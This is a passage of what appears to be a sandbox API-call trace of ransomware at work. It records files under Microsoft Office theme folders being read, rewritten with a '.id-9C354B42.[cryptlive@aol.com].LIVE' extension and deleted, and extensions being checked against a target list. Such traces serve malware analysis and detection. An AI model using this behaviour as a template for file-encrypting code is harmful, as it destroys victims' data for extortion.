dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0051.423] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=1439) returned 1 [0051.423] CloseHandle (hObject=0x204) returned 1 [0051.423] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif")) returned 0x20 [0051.423] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0051.423] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0051.423] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.423] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.423] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0051.425] GetLastError () returned 0x0 [0051.425] ReadFile (in: hFile=0x204, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x59f, lpOverlapped=0x0) returned 1 [0051.427] WriteFile (in: hFile=0x214, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0x5a0, lpOverlapped=0x0) returned 1 [0051.428] ReadFile (in: hFile=0x204, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.428] WriteFile (in: hFile=0x214, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xea, lpOverlapped=0x0) returned 1 [0051.429] SetEndOfFile (hFile=0x214) returned 1 [0051.429] CloseHandle (hObject=0x214) returned 1 [0051.429] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.429] SetEndOfFile (hFile=0x204) returned 1 [0051.430] CloseHandle (hObject=0x204) returned 1 [0051.430] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0051.430] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif")) returned 1 [0051.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0051.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0051.431] lstrlenW (lpString=".doc") returned 4 [0051.431] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.431] lstrlenW (lpString=".docx") returned 5 [0051.431] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0051.431] lstrlenW (lpString=".pdf") returned 4 [0051.431] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.431] lstrlenW (lpString=".xls") returned 4 [0051.431] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.431] lstrlenW (lpString=".xlsx") returned 5 [0051.431] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0051.431] lstrlenW (lpString=".ppt") returned 4 [0051.431] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0051.431] lstrlenW (lpString=".zip") returned 4 [0051.431] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.431] lstrlenW (lpString=".rar") returned 4 [0051.431] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.431] lstrlenW (lpString=".bz2") returned 4 [0051.431] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.431] lstrlenW (lpString=".7z") returned 3 [0051.431] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0051.431] lstrlenW (lpString=".dbf") returned 4 [0051.432] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0051.432] lstrlenW (lpString=".1cd") returned 4 [0051.432] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0051.432] lstrlenW (lpString=".jpg") returned 4 [0051.432] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0051.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0051.432] lstrlenW (lpString=".doc") returned 4 [0051.432] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.432] lstrlenW (lpString=".docx") returned 5 [0051.432] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0051.432] lstrlenW (lpString=".pdf") returned 4 [0051.432] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.432] lstrlenW (lpString=".xls") returned 4 [0051.432] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.432] lstrlenW (lpString=".xlsx") returned 5 [0051.432] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0051.432] lstrlenW (lpString=".ppt") returned 4 [0051.432] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0051.432] lstrlenW (lpString=".zip") returned 4 [0051.432] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.432] lstrlenW (lpString=".rar") returned 4 [0051.432] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.432] lstrlenW (lpString=".bz2") returned 4 [0051.433] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.433] lstrlenW (lpString=".7z") returned 3 [0051.433] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0051.433] lstrlenW (lpString=".dbf") returned 4 [0051.433] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0051.433] lstrlenW (lpString=".1cd") returned 4 [0051.433] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0051.433] lstrlenW (lpString=".jpg") returned 4 [0051.433] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.433] lstrcmpiW (lpString1=".PNG", lpString2=".LIVE") returned 1 [0051.433] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0051.433] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0051.434] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=37112) returned 1 [0051.434] CloseHandle (hObject=0x204) returned 1 [0051.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png")) returned 0x20 [0051.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0051.434] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0051.434] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.434] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.434] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0051.435] GetLastError () returned 0x0 [0051.435] ReadFile (in: hFile=0x204, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x90f8, lpOverlapped=0x0) returned 1 [0051.438] WriteFile (in: hFile=0x214, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x9100, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0x9100, lpOverlapped=0x0) returned 1 [0051.440] ReadFile (in: hFile=0x204, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.440] WriteFile (in: hFile=0x214, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.440] SetEndOfFile (hFile=0x214) returned 1 [0051.440] CloseHandle (hObject=0x214) returned 1 [0051.441] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.441] SetEndOfFile (hFile=0x204) returned 1 [0051.442] CloseHandle (hObject=0x204) returned 1 [0051.442] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0051.442] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png")) returned 1 [0051.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0051.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0051.443] lstrlenW (lpString=".doc") returned 4 [0051.443] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0051.443] lstrlenW (lpString=".docx") returned 5 [0051.443] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0051.443] lstrlenW (lpString=".pdf") returned 4 [0051.443] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0051.443] lstrlenW (lpString=".xls") returned 4 [0051.443] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0051.443] lstrlenW (lpString=".xlsx") returned 5 [0051.443] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0051.443] lstrlenW (lpString=".ppt") returned 4 [0051.443] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0051.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0051.443] lstrlenW (lpString=".zip") returned 4 [0051.443] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0051.443] lstrlenW (lpString=".rar") returned 4 [0051.443] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0051.443] lstrlenW (lpString=".bz2") returned 4 [0051.443] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0051.443] lstrlenW (lpString=".7z") returned 3 [0051.443] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0051.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0051.443] lstrlenW (lpString=".dbf") returned 4 [0051.443] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0051.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0051.444] lstrlenW (lpString=".1cd") returned 4 [0051.444] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0051.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0051.444] lstrlenW (lpString=".jpg") returned 4 [0051.444] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0051.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0051.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0051.444] lstrlenW (lpString=".doc") returned 4 [0051.444] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0051.444] lstrlenW (lpString=".docx") returned 5 [0051.444] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0051.444] lstrlenW (lpString=".pdf") returned 4 [0051.444] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0051.444] lstrlenW (lpString=".xls") returned 4 [0051.444] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0051.444] lstrlenW (lpString=".xlsx") returned 5 [0051.444] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0051.444] lstrlenW (lpString=".ppt") returned 4 [0051.444] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0051.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0051.444] lstrlenW (lpString=".zip") returned 4 [0051.444] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0051.444] lstrlenW (lpString=".rar") returned 4 [0051.444] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0051.444] lstrlenW (lpString=".bz2") returned 4 [0051.444] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0051.445] lstrlenW (lpString=".7z") returned 3 [0051.445] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0051.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0051.445] lstrlenW (lpString=".dbf") returned 4 [0051.445] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0051.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0051.445] lstrlenW (lpString=".1cd") returned 4 [0051.445] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0051.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0051.445] lstrlenW (lpString=".jpg") returned 4 [0051.445] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0051.445] lstrcmpiW (lpString1=".GIF", lpString2=".LIVE") returned -1 [0051.445] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0051.445] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0051.700] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=1666) returned 1 [0051.700] CloseHandle (hObject=0x1f8) returned 1 [0051.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif")) returned 0x20 [0051.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0051.700] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0051.700] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.700] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.700] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0051.920] GetLastError () returned 0x0 [0051.920] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x682, lpOverlapped=0x0) returned 1 [0051.922] WriteFile (in: hFile=0x184, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0x690, lpOverlapped=0x0) returned 1 [0051.922] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.922] WriteFile (in: hFile=0x184, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xea, lpOverlapped=0x0) returned 1 [0051.923] SetEndOfFile (hFile=0x184) returned 1 [0051.923] CloseHandle (hObject=0x184) returned 1 [0051.923] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.923] SetEndOfFile (hFile=0x1f8) returned 1 [0051.924] CloseHandle (hObject=0x1f8) returned 1 [0051.924] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0051.924] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif")) returned 1 [0051.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0051.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0051.924] lstrlenW (lpString=".doc") returned 4 [0051.924] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.924] lstrlenW (lpString=".docx") returned 5 [0051.924] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0051.924] lstrlenW (lpString=".pdf") returned 4 [0051.924] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.924] lstrlenW (lpString=".xls") returned 4 [0051.924] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.924] lstrlenW (lpString=".xlsx") returned 5 [0051.924] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0051.924] lstrlenW (lpString=".ppt") returned 4 [0051.924] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0051.925] lstrlenW (lpString=".zip") returned 4 [0051.925] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.925] lstrlenW (lpString=".rar") returned 4 [0051.925] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.925] lstrlenW (lpString=".bz2") returned 4 [0051.925] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.925] lstrlenW (lpString=".7z") returned 3 [0051.925] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0051.925] lstrlenW (lpString=".dbf") returned 4 [0051.925] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0051.925] lstrlenW (lpString=".1cd") returned 4 [0051.925] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0051.925] lstrlenW (lpString=".jpg") returned 4 [0051.925] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0051.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0051.925] lstrlenW (lpString=".doc") returned 4 [0051.925] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.925] lstrlenW (lpString=".docx") returned 5 [0051.925] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0051.925] lstrlenW (lpString=".pdf") returned 4 [0051.925] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.925] lstrlenW (lpString=".xls") returned 4 [0051.925] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.925] lstrlenW (lpString=".xlsx") returned 5 [0051.925] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0051.925] lstrlenW (lpString=".ppt") returned 4 [0051.925] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0051.925] lstrlenW (lpString=".zip") returned 4 [0051.926] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.926] lstrlenW (lpString=".rar") returned 4 [0051.926] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.926] lstrlenW (lpString=".bz2") returned 4 [0051.926] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.926] lstrlenW (lpString=".7z") returned 3 [0051.926] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0051.926] lstrlenW (lpString=".dbf") returned 4 [0051.926] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0051.926] lstrlenW (lpString=".1cd") returned 4 [0051.926] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0051.926] lstrlenW (lpString=".jpg") returned 4 [0051.926] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.926] lstrcmpiW (lpString1=".GIF", lpString2=".LIVE") returned -1 [0051.926] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0051.926] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0051.927] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x314ff1c | out: 